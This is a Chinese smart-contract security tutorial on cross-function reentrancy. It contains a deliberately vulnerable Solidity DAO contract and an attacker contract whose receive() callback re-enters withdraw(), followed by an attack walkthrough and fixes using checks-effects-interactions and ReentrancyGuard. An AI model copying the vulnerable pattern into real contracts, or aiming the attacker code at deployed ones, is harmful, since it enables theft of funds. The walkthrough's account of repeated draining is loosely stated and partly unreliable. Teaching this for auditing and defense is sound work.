10分钟智能合约:进阶实战-3.2.2 跨函数重入

0 阅读5分钟

欢迎订阅专栏10分钟智能合约:进阶实战

跨函数重入:定义、原理与经典案例

跨函数重入是指攻击者通过一次外部调用,递归地重新进入同一个合约的另一个函数,利用多个函数间共享的状态尚未更新的窗口期,执行非预期的操作。
这一攻击类型的标志性事件是 2016 年的 The DAO 攻击,导致约 360 万 ETH 被分叉回滚,直接促成了以太坊经典(ETC)的诞生。


1. 核心原理

跨函数重入的根本原因与单函数重入相同:状态更新滞后于外部调用
区别在于,重入点不再是当前函数本身,而是另一个也依赖同一状态变量的函数

典型脆弱模式:

  • 合约中有 两个或以上 的函数读取/修改同一个状态变量(如 balances[user])。
  • 其中一个函数在状态更新前发起外部调用。
  • 攻击者在该外部调用的回调中,调用另一个函数,后者读取尚未更新的状态,执行操作(如再次提款)。

2. 经典示例:The DAO 攻击简化复现

以下代码高度简化了 DAO 的核心逻辑,仅用于演示跨函数重入原理,并非完整复现。

// 有漏洞的DAO简化版
contract SimpleDAO {
    mapping(address => uint) public balances;

    // 存款
    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    // 1️⃣ 拆分提案并提取资金(漏洞函数)
    function splitDAO(address _recipient, uint _amount) public {
        uint userBalance = balances[msg.sender];
        require(userBalance >= _amount, "Insufficient balance");

        // ⚠️ 漏洞:先进行外部调用,后更新状态
        // 假设这里调用了某种奖励分发合约,触发外部回调
        (bool success, ) = _recipient.call{value: _amount}("");
        require(success, "Transfer failed");

        // 状态更新滞后
        balances[msg.sender] -= _amount;
    }

    // 2️⃣ 另一个提款函数(被重入的目标)
    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        balances[msg.sender] -= _amount;
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
    }
}

攻击者合约

contract Attacker {
    SimpleDAO public dao;

    constructor(address _dao) {
        dao = SimpleDAO(_dao);
    }

    // 攻击入口:先存款,再触发漏洞
    function attack() public payable {
        dao.deposit{value: 1 ether}();
        dao.splitDAO(address(this), 1 ether);  // 将收款地址设为自己
    }

    // 收到ETH时的回调
    receive() external payable {
        if (address(dao).balance >= 1 ether) {
            dao.withdraw(1 ether);  // ⚠️ 跨函数重入:调用另一个函数 withdraw
        }
    }
}

3. 攻击过程详解

步骤操作状态变化 / 关键点
1攻击者 attack() 调用 dao.deposit(1 ETH)balances[attacker] = 1 ETH
2调用 dao.splitDAO(attacker, 1 ETH)进入漏洞函数
3检查 balances[attacker] ≥ 1 → 通过此时余额仍为 1
4向攻击者发送 1 ETH触发攻击者的 receive()
5攻击者 receive() 内调用 dao.withdraw(1 ETH)跨函数重入开始
6withdraw 检查 balances[attacker] ≥ 1由于 splitDAO 尚未扣款,余额仍为 1 → 通过
7withdraw 扣减余额 (1 → 0),并向攻击者发送 1 ETH攻击者再得 1 ETH
8withdraw 执行完毕,返回 splitDAO继续执行原 splitDAO
9splitDAO 执行 balances[attacker] -= 1此时余额已是 0,再减 1 → 下溢?在 Solidity 0.8+ 会报错,早期版本会变成 2²⁵⁶-1
10攻击者可重复循环(视回调控制)直至合约 ETH 耗尽

攻击效果:攻击者从最初 1 ETH 余额,最终提取出远超其实际份额的资金。


4. 跨函数重入 vs 其他重入类型

类型重入目标函数典型特征代表案例
单函数重入同一个函数函数内部递归调用自身经典提款漏洞
跨函数重入同一合约的不同函数两个函数共享同一状态变量The DAO 攻击
跨合约重入另一个合约的函数合约 A 调用 B,B 回调 A 的函数多次发生于跨协议交互
只读重入view 函数不修改状态,但读取尚未更新的数据,用于操纵其他协议Acala aUSD 攻击

5. 防御措施

核心防御:检查-生效-交互(Checks-Effects-Interactions)

任何可能被外部重入的函数,都必须在外部调用之前完成所有内部状态更新。

function splitDAO(address _recipient, uint _amount) public {
    uint userBalance = balances[msg.sender];
    require(userBalance >= _amount, "Insufficient balance");

    // ✅ 先更新状态
    balances[msg.sender] -= _amount;

    // ✅ 再执行外部调用
    (bool success, ) = _recipient.call{value: _amount}("");
    require(success, "Transfer failed");
}

重入锁

使用 ReentrancyGuard 修饰符,确保在函数执行期间整个合约不可重入。注意:重入锁是全局性的,可以同时防御单函数和跨函数重入。

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SimpleDAO is ReentrancyGuard {
    function splitDAO(address _recipient, uint _amount) public nonReentrant {
        // 安全
    }
    function withdraw(uint _amount) public nonReentrant {
        // 安全
    }
}

最小化外部调用

仅在绝对必要时发起外部调用,且尽可能在函数末尾进行。若必须与外部交互,优先使用**“拉取支付”(Pull Payment)**模式,将发送资产的责任转移给用户。


6. 现代启示与演变

  • 重入锁已成为标准:OpenZeppelin 的 ReentrancyGuard 被绝大多数 DeFi 项目采用,显著降低了跨函数重入的风险。
  • 只读重入的新挑战:即使不修改状态,重入期间读取不一致的瞬时状态仍可能被用于操纵预言机、价格计算等,需要结合其他约束防御。
  • 跨合约重入仍需警惕:当多个合约协同工作时,单一合约的重入锁无法阻止另一合约的回调,需要协议级别的协调设计。

总结

跨函数重入是重入攻击家族中极具破坏力的成员,其本质依然是状态更新滞后于外部调用,只是重入点被导向了另一个共享状态的函数。
防御跨函数重入并不需要特殊技巧——遵循 CEI 模式并配合重入锁即可一劳永逸地解决问题。然而,理解其与单函数重入的区别,有助于在审计中更敏锐地识别那些**“看似无关,实则共享状态”**的函数组合。